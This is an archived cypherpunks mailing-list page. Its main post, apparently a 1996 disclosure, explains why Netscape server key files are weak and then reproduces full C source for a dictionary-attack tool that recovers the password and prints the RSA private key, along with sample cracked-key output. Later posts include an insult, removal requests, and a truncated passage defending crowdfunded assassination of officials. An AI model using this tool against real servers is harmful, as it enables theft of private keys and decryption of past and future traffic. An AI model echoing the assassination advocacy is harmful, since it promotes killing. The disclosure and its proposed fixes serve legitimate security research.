December 2003 - cypherpunks-legacy

[Long] How to break Netscape's server key encryption
by pgut001＠cs.auckland.ac.nz 17 Dec '03

17 Dec '03

The Netscape server key format is very susceptible to both a dictionary attack and to keystream recovery. It uses the PKCS #8 format for private keys, which provides a large amount of known plaintext at the start of the data, in combination with RC4 without any form of IV or other preprocessing (even though PKCS #8 recommends that PKCS #5 password-based encryption be used), which means you can recover the first 100-odd bytes of key stream with a simple XOR (the same stupid mistake Microsoft made with their .PWL files). This means two things: 1. It's very simple to write a program to perform a dictionary attack on the server key (it took me about half an hour using cryptlib, and another half hour to rip the appropriate code out of cryptlib to create a standalone program). 2. The recovered key stream from the encrypted server key can be used to decrypt any other resource encrypted with the server password, *without knowing the password*. This is because there's enough known plaintext (ASN.1 objects, object identifiers, and public key components) at the start of the encrypted data to recover large quantities of key stream. To demonstrate the problem, I have written a program which performs a dictionary attack on the server key, and if successful prints the password used to encrypt it and the server's RSA private key. Originally I used my encryption library (http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) to do the encryption, to turn it into a standalone program I ripped the necessary parts out of the library, which means it's a bit messy and not as portable as the original was. The code could probably be made to run about twice as fast if it's properly optimised, but I don't know if it's worth the bother and besides, it's just gone 4am I could use some sleep. To run it, use: breaksk <Netscape server key file> <word list file> Here's the output from a server key someone sent me, tested against my 100MB+ word list collection (some people collect stamps, I collect word lists :-): The password used to encrypt this Netscape server key is 'unguessable'. Modulus = 00D50626580C2543378FD249994A543FBF5FF1333E70684E942EC7034E5FA [...] Public exponent = 03 Private exponent = 008E0419900818D77A5FE18666318D7FD4EAA0CCD44AF03462C9 [...] Prime 1 = 00FBD3FC2CE1F50B31323F2D3FA27F6708D4373CC0487DB7199A712124380 [...] Prime 2 = 00D88D984BA6A7CD07F6608D95D3AC2682769DA904D061E593CF86A21B4A9 [...] Exponent 1 = 00A7E2A81DEBF8B220CC2A1E2A6C54EF5B3824D32ADAFE7A1111A0C0C2 [...] Exponent 2 = 00905E6587C46FDE054EEB090E8D1D6F01A4691B588AEBEE628A59C167 [...] Coefficient = 2DEBC012356B96D2206346141371D999288F55DD07AEF6D1972383E97 [...] (I've trimmed some of the lines a bit). The problem here is caused by a combination of the PKCS #8 format (which is rather nonoptimal for protecting private keys) and the use of RC4 to encryt fixed, known plaintext. Since everything is constant, you don't even need to run the password-transformation process more than once - just store a dictionary of the resulting key stream for each password in a database, and you can break the encryption with a single lookup (this would be avoided by the use of PKCS #5 password-based encryption, which iterates the key setup and uses a salt to make a precomputed dictionary attack impossible. PKCS #5 states that its primary intended application is for protecting private keys, but Netscape chose not to use this and went with straight RC4 instead). A quick (but not necessarily optimal) solution to the problem involves two changes: 1. Only encrypt the unknown, private fields in the key (which is what PGP does). Instead of wrapping everything up in several layers of encapsulation with object identifiers and public-key components, change the portion which is encrypted to: EncryptedRSAPrivateKey ::= SEQUENCE { privateExponent INTEGER, prime1 INTEGER, prime2 INTEGER, exponent1 INTEGER, exponent2 INTEGER, coefficient INTEGER } with everything else outside this object. 2. Don't use a simple stream cipher to encrypt fixed data like this. Use an IV on the encrypted data. Iterate the password setup to slow down a dictionary attack (I posted a scheme for transforming variable to fixed-length keys to the cypherpunks list a few days ago which provides the necessary functionality). The consequences of this attack are pretty scary. It involves vastly less effort than breaking a 40-bit session key or factoring a 512-bit public key, yet once you've recovered the private key you can also recover every session key it's ever protected in the past and will ever protect in the future (which is why I'm a fan of signed DH for session key exchange). The ease with which a dictionary attack can be carried out represents a critical weakness which compromises all other encryption components on the server - spending a few days with a Markov-model based phrase generator on a PC is still a lot easier than spending a few months with GNFS and a workstation farm. It seems strange that there are no real standards defined for secure storage of such a critical component as a private key. Although a lot of work has gone into X.509 and the multitude of related public-key certificate standards, the only generally-used private-key formats are PKCS #8 (which has problems, as demonstrated above), and Microsofts recently-proposed PFX (Personal Information Exchange) data format and protocol (PFX is designed to allow users to move their keys, certificates and other personal information securely from one platform to another, you can get more info on it from http://www.microsoft.com/intdev/security/misf11_7.htm) which is too new to comment on. It would be useful if a portable, secure private-key format at the same level as the X.509 effort were developed to solve this problem. For the curious (and ASN.1-aware), here's what the data formats look like. First there's the outer encapsulation which Netscape use to wrap up the encrypted key: NetscapeServerKey ::= SEQUENCE { identifier OCTET STRING ('private-key'), encryptedPrivateKeyInfo EncryptedPrivateKeyInfo } Inside this is a PKCS #8 private key: EncryptedPrivateKeyInfo ::= SEQUENCE { encryptionAlgorithm EncryptionAlgorithmIdentifier, encryptedData EncryptedData } EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier EncryptedData = OCTET STRING Now the EncryptionAlgorithmIdentifier is supposed to be something like pbeWithMD5AndDES, with an associated 64-bit salt and iteration count, but Netscape ignored this and used straight rc4 with no salt or iteration count. The EncryptedData decrypts to: PrivateKeyInfo ::= SEQUENCE { version Version privateKeyAlgorithm PrivateKeyAlgorithmIdentifier privateKey PrivateKey attributes [ 0 ] IMPLICIT Attributes OPTIONAL } Version ::= INTEGER PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier PrivateKey ::= OCTET STRING Attributes ::= SET OF Attribute The algorithm information is encoded as: AlgorithmIdentifier ::= SEQUENCE { algorithm ALGORITHM.&id( { SupportedAlgorithms } ), parameters ALGORITHM.&Type( { SupportedAlgorithms }{ @algorithm } ) OPTIONAL } SupportedAlgorithms ALGORITHM ::= { ... } ALGORITHM ::= TYPE-IDENTIFIER (and so on and so on, I haven't bothered going down any further). The EncryptionAlgorithmIdentifier is '1 2 840 113549 3 4' or { iso(1) member-body(2) US(840) rsadsi(113549) algorithm(3) rc4(4) }. The PrivateKeyAlgorithmIdentifier is '1 2 840 113549 1 1 1' or { iso(1) member-body(2) US(840) rsadsi(113549) pkcs(1) pkcs1-1(1) rsaEncryption(1) }. Included below is the code to perform the attack (set tabs to 4, phasers to stun). Do I get a t-shirt for this? :-) Peter. -- Snip -- /* BreakSK - Break Netscape server key file encryption via dictionary attack. Written by Peter Gutmann <pgut001(a)cs.auckland.ac.nz> 26 September 1996 */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Most of the code here was ripped out of cryptlib and is somewhat messy as a consquence. cryptlib has fairly extensive self-configuration and an internal API which hides machine-specific details, this program doesn't (the code here really wasn't meant for standalone use). As a result you need to manually define LITTLE_ENDIAN or BIG_ENDIAN, and it won't work at all on 64-bit systems. If you want the portability, use cryptlib instead */ #define LITTLE_ENDIAN /* #define BIG_ENDIAN */ /* Workarounds for cryptlib defines, constants, and macros */ #define MASK32(x) x #define FALSE 0 #define TRUE !FALSE typedef unsigned char BYTE; typedef unsigned long LONG; typedef int BOOLEAN; /* Functions to convert the endianness from the canonical form to the internal form. bigToLittle() convert from big-endian in-memory to little-endian in-CPU, littleToBig() convert from little-endian in-memory to big-endian in-CPU */ void longReverse( LONG *buffer, int count ); #ifdef LITTLE_ENDIAN #define bigToLittleLong( x, y ) longReverse(x,y) #define littleToBigLong( x, y ) #else #define bigToLittleLong( x, y ) #define littleToBigLong( x, y ) longReverse(x,y) #endif /* LITTLE_ENDIAN */ /* Byte-reverse an array of 16- and 32-bit words to/from network byte order to account for processor endianness. These routines assume the given count is a multiple of 16 or 32 bits. They are safe even for CPU's with a word size > 32 bits since on a little-endian CPU the important 32 bits are stored first, so that by zeroizing the first 32 bits and oring the reversed value back in we don't need to rely on the processor only writing 32 bits into memory */ void longReverse( LONG *buffer, int count ) { #if defined( _BIG_WORDS ) BYTE *bufPtr = ( BYTE * ) buffer, temp; count /= 4; /* sizeof( LONG ) != 4 */ while( count-- ) { /* There's really no nice way to do this - the above code generates misaligned accesses on processors with a word size > 32 bits, so we have to work at the byte level (either that or turn misaligned access warnings off by trapping the signal the access corresponds to. However a context switch per memory access is probably somewhat slower than the current byte-twiddling mess) */ temp = bufPtr[ 3 ]; bufPtr[ 3 ] = bufPtr[ 0 ]; bufPtr[ 0 ] = temp; temp = bufPtr[ 2 ]; bufPtr[ 2 ] = bufPtr[ 1 ]; bufPtr[ 1 ] = temp; bufPtr += 4; } #else LONG value; count /= sizeof( LONG ); while( count-- ) { value = *buffer; value = ( ( value & 0xFF00FF00UL ) >> 8 ) | \ ( ( value & 0x00FF00FFUL ) << 8 ); *buffer++ = ( value << 16 ) | ( value >> 16 ); } #endif /* _BIG_WORDS */ } #define mputLLong(memPtr,data) \ memPtr[ 0 ] = ( BYTE ) ( ( data ) & 0xFF ); \ memPtr[ 1 ] = ( BYTE ) ( ( ( data ) >> 8 ) & 0xFF ); \ memPtr[ 2 ] = ( BYTE ) ( ( ( data ) >> 16 ) & 0xFF ); \ memPtr[ 3 ] = ( BYTE ) ( ( ( data ) >> 24 ) & 0xFF ); \ memPtr += 4 /**************************************************************************** * * * MD5 * * * ****************************************************************************/ /* The MD5 block size and message digest sizes, in bytes */ #define MD5_DATASIZE 64 #define MD5_DIGESTSIZE 16 /* The structure for storing MD5 info */ typedef struct { LONG digest[ 4 ]; /* Message digest */ LONG countLo, countHi; /* 64-bit bit count */ LONG data[ 16 ]; /* MD5 data buffer */ #ifdef _BIG_WORDS BYTE dataBuffer[ MD5_DATASIZE ]; /* Byte buffer for data */ #endif /* _BIG_WORDS */ BOOLEAN done; /* Whether final digest present */ } MD5_INFO; /* Round 1 shift amounts */ #define S11 7 #define S12 12 #define S13 17 #define S14 22 /* Round 2 shift amounts */ #define S21 5 #define S22 9 #define S23 14 #define S24 20 /* Round 3 shift amounts */ #define S31 4 #define S32 11 #define S33 16 #define S34 23 /* Round 4 shift amounts */ #define S41 6 #define S42 10 #define S43 15 #define S44 21 /* F, G, H and I are basic MD5 functions */ #define F(X,Y,Z) ( ( X & Y ) | ( ~X & Z ) ) #define G(X,Y,Z) ( ( X & Z ) | ( Y & ~Z ) ) #define H(X,Y,Z) ( X ^ Y ^ Z ) #define I(X,Y,Z) ( Y ^ ( X | ~Z ) ) /* ROTATE_LEFT rotates x left n bits */ #define ROTATE_LEFT(x,n) ( ( x << n ) | ( x >> ( 32 - n ) ) ) /* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */ #define FF(A,B,C,D,X,shiftAmt,magicConst) \ A += F( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define GG(A,B,C,D,X,shiftAmt,magicConst) \ A += G( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define HH(A,B,C,D,X,shiftAmt,magicConst) \ A += H( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) #define II(A,B,C,D,X,shiftAmt,magicConst) \ A += I( B, C, D ) + X + magicConst; \ A = MASK32( ROTATE_LEFT( MASK32( A ), shiftAmt ) + B ) /* Basic MD5 step. Transforms digest based on data. Note that if the Mysterious Constants are arranged backwards in little-endian order and decrypted with DES they produce OCCULT MESSAGES! */ void MD5Transform( LONG *digest, LONG *data ) { LONG A, B, C, D; /* Set up local data */ A = digest[ 0 ]; B = digest[ 1 ]; C = digest[ 2 ]; D = digest[ 3 ]; /* Round 1 */ FF( A, B, C, D, data[ 0 ], S11, 3614090360UL ); /* 1 */ FF( D, A, B, C, data[ 1 ], S12, 3905402710UL ); /* 2 */ FF( C, D, A, B, data[ 2 ], S13, 606105819UL ); /* 3 */ FF( B, C, D, A, data[ 3 ], S14, 3250441966UL ); /* 4 */ FF( A, B, C, D, data[ 4 ], S11, 4118548399UL ); /* 5 */ FF( D, A, B, C, data[ 5 ], S12, 1200080426UL ); /* 6 */ FF( C, D, A, B, data[ 6 ], S13, 2821735955UL ); /* 7 */ FF( B, C, D, A, data[ 7 ], S14, 4249261313UL ); /* 8 */ FF( A, B, C, D, data[ 8 ], S11, 1770035416UL ); /* 9 */ FF( D, A, B, C, data[ 9 ], S12, 2336552879UL ); /* 10 */ FF( C, D, A, B, data[ 10 ], S13, 4294925233UL ); /* 11 */ FF( B, C, D, A, data[ 11 ], S14, 2304563134UL ); /* 12 */ FF( A, B, C, D, data[ 12 ], S11, 1804603682UL ); /* 13 */ FF( D, A, B, C, data[ 13 ], S12, 4254626195UL ); /* 14 */ FF( C, D, A, B, data[ 14 ], S13, 2792965006UL ); /* 15 */ FF( B, C, D, A, data[ 15 ], S14, 1236535329UL ); /* 16 */ /* Round 2 */ GG( A, B, C, D, data[ 1 ], S21, 4129170786UL ); /* 17 */ GG( D, A, B, C, data[ 6 ], S22, 3225465664UL ); /* 18 */ GG( C, D, A, B, data[ 11 ], S23, 643717713UL ); /* 19 */ GG( B, C, D, A, data[ 0 ], S24, 3921069994UL ); /* 20 */ GG( A, B, C, D, data[ 5 ], S21, 3593408605UL ); /* 21 */ GG( D, A, B, C, data[ 10 ], S22, 38016083UL ); /* 22 */ GG( C, D, A, B, data[ 15 ], S23, 3634488961UL ); /* 23 */ GG( B, C, D, A, data[ 4 ], S24, 3889429448UL ); /* 24 */ GG( A, B, C, D, data[ 9 ], S21, 568446438UL ); /* 25 */ GG( D, A, B, C, data[ 14 ], S22, 3275163606UL ); /* 26 */ GG( C, D, A, B, data[ 3 ], S23, 4107603335UL ); /* 27 */ GG( B, C, D, A, data[ 8 ], S24, 1163531501UL ); /* 28 */ GG( A, B, C, D, data[ 13 ], S21, 2850285829UL ); /* 29 */ GG( D, A, B, C, data[ 2 ], S22, 4243563512UL ); /* 30 */ GG( C, D, A, B, data[ 7 ], S23, 1735328473UL ); /* 31 */ GG( B, C, D, A, data[ 12 ], S24, 2368359562UL ); /* 32 */ /* Round 3 */ HH( A, B, C, D, data[ 5 ], S31, 4294588738UL ); /* 33 */ HH( D, A, B, C, data[ 8 ], S32, 2272392833UL ); /* 34 */ HH( C, D, A, B, data[ 11 ], S33, 1839030562UL ); /* 35 */ HH( B, C, D, A, data[ 14 ], S34, 4259657740UL ); /* 36 */ HH( A, B, C, D, data[ 1 ], S31, 2763975236UL ); /* 37 */ HH( D, A, B, C, data[ 4 ], S32, 1272893353UL ); /* 38 */ HH( C, D, A, B, data[ 7 ], S33, 4139469664UL ); /* 39 */ HH( B, C, D, A, data[ 10 ], S34, 3200236656UL ); /* 40 */ HH( A, B, C, D, data[ 13 ], S31, 681279174UL ); /* 41 */ HH( D, A, B, C, data[ 0 ], S32, 3936430074UL ); /* 42 */ HH( C, D, A, B, data[ 3 ], S33, 3572445317UL ); /* 43 */ HH( B, C, D, A, data[ 6 ], S34, 76029189UL ); /* 44 */ HH( A, B, C, D, data[ 9 ], S31, 3654602809UL ); /* 45 */ HH( D, A, B, C, data[ 12 ], S32, 3873151461UL ); /* 46 */ HH( C, D, A, B, data[ 15 ], S33, 530742520UL ); /* 47 */ HH( B, C, D, A, data[ 2 ], S34, 3299628645UL ); /* 48 */ /* Round 4 */ II( A, B, C, D, data[ 0 ], S41, 4096336452UL ); /* 49 */ II( D, A, B, C, data[ 7 ], S42, 1126891415UL ); /* 50 */ II( C, D, A, B, data[ 14 ], S43, 2878612391UL ); /* 51 */ II( B, C, D, A, data[ 5 ], S44, 4237533241UL ); /* 52 */ II( A, B, C, D, data[ 12 ], S41, 1700485571UL ); /* 53 */ II( D, A, B, C, data[ 3 ], S42, 2399980690UL ); /* 54 */ II( C, D, A, B, data[ 10 ], S43, 4293915773UL ); /* 55 */ II( B, C, D, A, data[ 1 ], S44, 2240044497UL ); /* 56 */ II( A, B, C, D, data[ 8 ], S41, 1873313359UL ); /* 57 */ II( D, A, B, C, data[ 15 ], S42, 4264355552UL ); /* 58 */ II( C, D, A, B, data[ 6 ], S43, 2734768916UL ); /* 59 */ II( B, C, D, A, data[ 13 ], S44, 1309151649UL ); /* 60 */ II( A, B, C, D, data[ 4 ], S41, 4149444226UL ); /* 61 */ II( D, A, B, C, data[ 11 ], S42, 3174756917UL ); /* 62 */ II( C, D, A, B, data[ 2 ], S43, 718787259UL ); /* 63 */ II( B, C, D, A, data[ 9 ], S44, 3951481745UL ); /* 64 */ /* Build message digest */ digest[ 0 ] = MASK32( digest[ 0 ] + A ); digest[ 1 ] = MASK32( digest[ 1 ] + B ); digest[ 2 ] = MASK32( digest[ 2 ] + C ); digest[ 3 ] = MASK32( digest[ 3 ] + D ); } /**************************************************************************** * * * MD5 Support Routines * * * ****************************************************************************/ /* The routine md5Initial initializes the message-digest context md5Info */ void md5Initial( MD5_INFO *md5Info ) { /* Clear all fields */ memset( md5Info, 0, sizeof( MD5_INFO ) ); /* Load magic initialization constants */ md5Info->digest[ 0 ] = 0x67452301L; md5Info->digest[ 1 ] = 0xEFCDAB89L; md5Info->digest[ 2 ] = 0x98BADCFEL; md5Info->digest[ 3 ] = 0x10325476L; /* Initialise bit count */ md5Info->countLo = md5Info->countHi = 0L; } /* The routine MD5Update updates the message-digest context to account for the presence of each of the characters buffer[ 0 .. count-1 ] in the message whose digest is being computed */ void md5Update( MD5_INFO *md5Info, BYTE *buffer, int count ) { LONG tmp; int dataCount; /* Update bitcount */ tmp = md5Info->countLo; if ( ( md5Info->countLo = tmp + ( ( LONG ) count << 3 ) ) < tmp ) md5Info->countHi++; /* Carry from low to high */ md5Info->countHi += count >> 29; /* Get count of bytes already in data */ dataCount = ( int ) ( tmp >> 3 ) & 0x3F; /* Handle any leading odd-sized chunks */ if( dataCount ) { #ifdef _BIG_WORDS BYTE *p = md5Info->dataBuffer + dataCount; #else BYTE *p = ( BYTE * ) md5Info->data + dataCount; #endif /* _BIG_WORDS */ dataCount = MD5_DATASIZE - dataCount; if( count < dataCount ) { memcpy( p, buffer, count ); return; } memcpy( p, buffer, dataCount ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); buffer += dataCount; count -= dataCount; } /* Process data in MD5_DATASIZE chunks */ while( count >= MD5_DATASIZE ) { #ifdef _BIG_WORDS memcpy( md5Info->dataBuffer, buffer, MD5_DATASIZE ); copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else memcpy( md5Info->data, buffer, MD5_DATASIZE ); littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); buffer += MD5_DATASIZE; count -= MD5_DATASIZE; } /* Handle any remaining bytes of data. */ #ifdef _BIG_WORDS memcpy( md5Info->dataBuffer, buffer, count ); #else memcpy( md5Info->data, buffer, count ); #endif /* _BIG_WORDS */ } /* Final wrapup - pad to MD5_DATASIZE-byte boundary with the bit pattern 1 0* (64-bit count of bits processed, MSB-first) */ void md5Final( MD5_INFO *md5Info ) { int count; BYTE *dataPtr; /* Compute number of bytes mod 64 */ count = ( int ) md5Info->countLo; count = ( count >> 3 ) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ #ifdef _BIG_WORDS dataPtr = md5Info->dataBuffer + count; #else dataPtr = ( BYTE * ) md5Info->data + count; #endif /* _BIG_WORDS */ *dataPtr++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = MD5_DATASIZE - 1 - count; /* Pad out to 56 mod 64 */ if( count < 8 ) { /* Two lots of padding: Pad the first block to 64 bytes */ memset( dataPtr, 0, count ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #else littleToBigLong( md5Info->data, MD5_DATASIZE ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); /* Now fill the next block with 56 bytes */ #ifdef _BIG_WORDS memset( md5Info->dataBuffer, 0, MD5_DATASIZE - 8 ); #else memset( md5Info->data, 0, MD5_DATASIZE - 8 ); #endif /* _BIG_WORDS */ } else /* Pad block to 56 bytes */ memset( dataPtr, 0, count - 8 ); #ifdef _BIG_WORDS copyToLLong( md5Info->data, md5Info->dataBuffer, MD5_DATASIZE ); #endif /* _BIG_WORDS */ /* Append length in bits and transform */ md5Info->data[ 14 ] = md5Info->countLo; md5Info->data[ 15 ] = md5Info->countHi; #ifndef _BIG_WORDS littleToBigLong( md5Info->data, MD5_DATASIZE - 8 ); #endif /* _BIG_WORDS */ MD5Transform( md5Info->digest, md5Info->data ); md5Info->done = TRUE; } /**************************************************************************** * * * RC4 * * * ****************************************************************************/ /* If the system can handle byte ops, we use those so we don't have to do a lot of masking. Otherwise, we use machine-word-size ops which will be faster on RISC machines */ #if UINT_MAX > 0xFFFFL /* System has 32-bit ints */ #define USE_LONG_RC4 typedef unsigned int rc4word; #else typedef unsigned char rc4word; #endif /* UINT_MAX > 0xFFFFL */ /* The scheduled RC4 key */ typedef struct { rc4word state[ 256 ]; rc4word x, y; } RC4KEY ; /* Expand an RC4 key */ void rc4ExpandKey( RC4KEY *rc4, unsigned char const *key, int keylen ) { int x, keypos = 0; rc4word sx, y = 0; rc4word *state = &rc4->state[ 0 ]; rc4->x = rc4->y = 0; for( x = 0; x < 256; x++ ) state[ x ] = x; for( x = 0; x < 256; x++ ) { sx = state[ x ]; y += sx + key[ keypos ]; #ifdef USE_LONG_RC4 y &= 0xFF; #endif /* USE_LONG_RC4 */ state[ x ] = state[ y ]; state[ y ] = sx; if( ++keypos == keylen ) keypos = 0; } } void rc4Crypt( RC4KEY *rc4, unsigned char *data, int len ) { rc4word x = rc4->x, y = rc4->y; rc4word sx, sy; rc4word *state = &rc4->state[ 0 ]; while (len--) { x++; #ifdef USE_LONG_RC4 x &= 0xFF; #endif /* USE_LONG_RC4 */ sx = state[ x ]; y += sx; #ifdef USE_LONG_RC4 y &= 0xFF; #endif /* USE_LONG_RC4 */ sy = state[ y ]; state[ y ] = sx; state[ x ] = sy; #ifdef USE_LONG_RC4 *data++ ^= state[ ( unsigned char ) ( sx+sy ) ]; #else *data++ ^= state[ ( sx+sy ) & 0xFF ]; #endif /* USE_LONG_RC4 */ } rc4->x = x; rc4->y = y; } /**************************************************************************** * * * Driver Code * * * ****************************************************************************/ /* Various magic values in the key file */ static BYTE netscapeKeyfileID[] = { 0x04, 0x0B, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x2D, 0x6B, 0x65, 0x79 }; static BYTE rc4EncryptionID[] = { 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x03, 0x04, 0x05, 0x00 }; static BYTE version[] = { 0x02, 0x01, 0x00 }; static BYTE rsaPrivateKeyID[] = { 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00 }; /* General-purpose buffer. We make them static buffers to keep them off the stack on DOS/Win16 boxes */ static BYTE buffer[ 1024 ], temp[ 1024 ]; /* Print a key component */ int printKeyComponent( BYTE *buffer, char *title ) { int count, length = 0, totalLength = 2; printf( "%s = ", title ); if( *buffer++ != 0x02 ) { puts( "Bad data format in key component." ); return( 0 ); } /* Get the length of the component */ if( *buffer & 0x80 ) { count = *buffer++ & 0x7F; totalLength += count; while( count-- ) length = ( length << 8 ) | *buffer++; } else length = *buffer++; totalLength += length; /* Print the data */ for( count = 0; count < length; count++ ) printf( "%02X", buffer[ count ] ); putchar( '\n' ); return( totalLength ); } /* The main program */ int main( int argc, char *argv[] ) { FILE *keyFile, *dictFile; int count, length = 0; /* Check args and open the server key file */ if( argc != 3 ) { puts( "Usage: breaksk <server key file> <dictionary>" ); return( EXIT_FAILURE ); } if( ( keyFile = fopen( argv[ 1 ], "rb" ) ) == NULL ) { perror( argv[ 1 ] ); return( EXIT_FAILURE ); } /* Read the Netscape outer wrapper */ if( getc( keyFile ) != 0x30 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) getc( keyFile ); if( ( fread( buffer, 1, 13, keyFile ) != 13 ) || \ memcmp( buffer, netscapeKeyfileID, 13 ) ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } /* Read the PKCS #8 EncryptedPrivateKey wrapper */ if( getc( keyFile ) != 0x30 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) getc( keyFile ); if( ( fread( buffer, 1, 14, keyFile ) != 14 ) || \ memcmp( buffer, rc4EncryptionID, 14 ) ) { puts( "This doesn't look like an RC4-encrypted server key." ); exit( EXIT_FAILURE ); } /* Read the start of the EncryptedData field */ if( getc( keyFile ) != 0x04 ) { puts( "This doesn't look like a Netscape server key file." ); exit( EXIT_FAILURE ); } count = getc( keyFile ) & 0x7F; while( count-- ) length = ( length << 8 ) | getc( keyFile ); /* Read the encrypted RSAPrivateKey */ if( fread( buffer, 1, length, keyFile ) != length ) { puts( "Netscape server key file length fields are inconsistent." ); exit( EXIT_FAILURE ); } fclose( keyFile ); /* We've got the data we want, now rumble through the dictionary trying each key on it. First, make sure we can open the thing */ if( ( dictFile = fopen( argv[ 2 ], "r" ) ) == NULL ) { perror( argv[ 2 ] ); return( EXIT_FAILURE ); } while( TRUE ) { BYTE hashedPassword[ MD5_DIGESTSIZE ], *hashedPassPtr = hashedPassword; MD5_INFO md5Info; RC4KEY rc4key; char dictWord[ 100 ]; int dictWordLength, index; /* Get the next word from the dictionary */ if( fgets( dictWord, 100, dictFile ) == NULL ) { puts( "No more words in dictionary." ); break; } dictWordLength = strlen( dictWord ) - 1; dictWord[ dictWordLength ] = '\0'; /* Hash the word using MD5 */ md5Initial( &md5Info ); md5Update( &md5Info, ( BYTE * ) dictWord, dictWordLength ); md5Final( &md5Info ); for( index = 0; index < MD5_DIGESTSIZE / 4; index++ ) { mputLLong( hashedPassPtr, md5Info.digest[ index ] ); } /* Set up the RC4 key based on the hashed password */ rc4ExpandKey( &rc4key, hashedPassword, MD5_DIGESTSIZE ); /* Copy the data to a temporary buffer and try to decrypt it */ memcpy( temp, buffer, length ); rc4Crypt( &rc4key, temp, 22 ); /* Check for known plaintext */ if( temp[ 0 ] != 0x30 || !( temp[ 1 ] & 0x80 ) ) continue; index = 1; count = temp[ index++ ] & 0x7F; while( count-- ) index++; if( memcmp( temp + index, version, 3 ) ) continue; index += 3; if( memcmp( temp + index, rsaPrivateKeyID, 15 ) ) continue; /* We've found the password, display it and decrypt the rest of the key */ printf( "The password used to encrypt this Netscape server key " "is '%s'.\n\n", dictWord ); index += 15; rc4Crypt( &rc4key, temp + 22, length - 22 ); /* Skip the OCTET STRING encapsulation */ if( temp[ index++ ] != 0x04 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } count = temp[ index++ ] & 0x7F; while( count-- ) index++; /* Skip the inner SEQUENCE encapsulation */ if( temp[ index++ ] != 0x30 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } count = temp[ index++ ] & 0x7F; while( count-- ) index++; /* Skip the version number. NB: This encoding is incorrect and violates the ASN.1 encoding rules. It's strange that the outer version number is encoded correctly, but the inner one isn't */ if( temp[ index++ ] != 0x02 || temp[ index++ ] != 0x00 ) { /* Should never happen */ puts( "Bad data format in key file" ); break; } /* OK, now we've reached the key components. Print each one out */ index += printKeyComponent( temp + index, "Modulus" ); index += printKeyComponent( temp + index, "Public exponent" ); index += printKeyComponent( temp + index, "Private exponent" ); index += printKeyComponent( temp + index, "Prime 1" ); index += printKeyComponent( temp + index, "Prime 2" ); index += printKeyComponent( temp + index, "Exponent 1" ); index += printKeyComponent( temp + index, "Exponent 2" ); index += printKeyComponent( temp + index, "Coefficient" ); break; } fclose( dictFile ); return( EXIT_SUCCESS ); }

2 1

A periodic word of caution regarding Timothy C[unt] May
by Squirrel Remailer 17 Dec '03

17 Dec '03

Timothy C[unt] May proves that the Midwestern gene pool needs some chlorine in it.

1 0

RE: your mail
by billc＠true.com 17 Dec '03

17 Dec '03

Likewise, please remove info@truecom from this list. ---------- From: Andrew Kantor[SMTP:ak@mecklermedia.com] Sent: Wednesday, September 25, 1996 2:58 PM To: John Norseen; Craig; Robert Steele Cc: news_from_wschwartau(a)infowar.com; Betty G. O'Hearn; Winn Schwartau Subject: Re: your mail I'm not sure what this list is or why I'm on it, but would whoever runs this thing please remove me or send removal instructions. Thanks. AK ------------------------------------------------------------ Andrew Kantor ak(a)iw.com Senior Editor, Internet World http://www.iw.com Otherwise, no one of consequence. http://www.kantor.com ------------------------------------------------------------ "Don't argue with the man who buys ink by the barrel."

1 0

Re: Re[2]: your mail
by probst＠iro.umontreal.ca 17 Dec '03

17 Dec '03

Well, obviously the distribution list is the entire P-TRAK database from Lexis/Nexis. :-) David K. Probst

1 0

Re: SAY WHAT? [Assassination NOISE]
by jim bell 17 Dec '03

17 Dec '03

At 12:30 AM 9/25/96 -0700, Bill Stewart wrote: >Bell, like X, is proposing mechanism without built-in policy, >as well as suggesting some potential policy implementations. If you use >the mechanism to sponsor assassination of people who have initiated force >against you, you're only using retaliatory force, not initiating it. Funny that Simon didn't see that... >On the other hand, the mechanism also can be used against people who >haven't initiated force against the sponsor - even against politicians >who have refused to get the country into misguided but popular wars >or judges who have refused to convict innocent but wrong-colored defendants. That's a too-superficial interpretation. If AP were operating, it would be unnecessary to "get the country into misguided but popular wars" because anybody who wanted to war with some external enemy need merely kill him via AP, by individual donation. There would be no legislature to make the war decision, and no need for any such decision. War as we have known it (a collective decision that is binding on all citizens, whether or not they approve) would simply not exist. There would be no mechanism to force other people into a war on your side, other than rhetorical arguments. Attempting to do so by force would merely make more enemies. As for "judges who have refused to convict innocent but wrong-colored defendants"? I think that's an unfair and misleading "problem." Much of the problem of bias and discrimination in this country is caused by the fact that these factors have been institutionalized BY GOVERNMENT. Trace it back just a little, and you'll discover that the "innocent but wrong-colored defendants" were arrested and charged BY GOVERNMENT in a display of bias. At best, that courageous judge is merely ceasing, in one particular incident and too 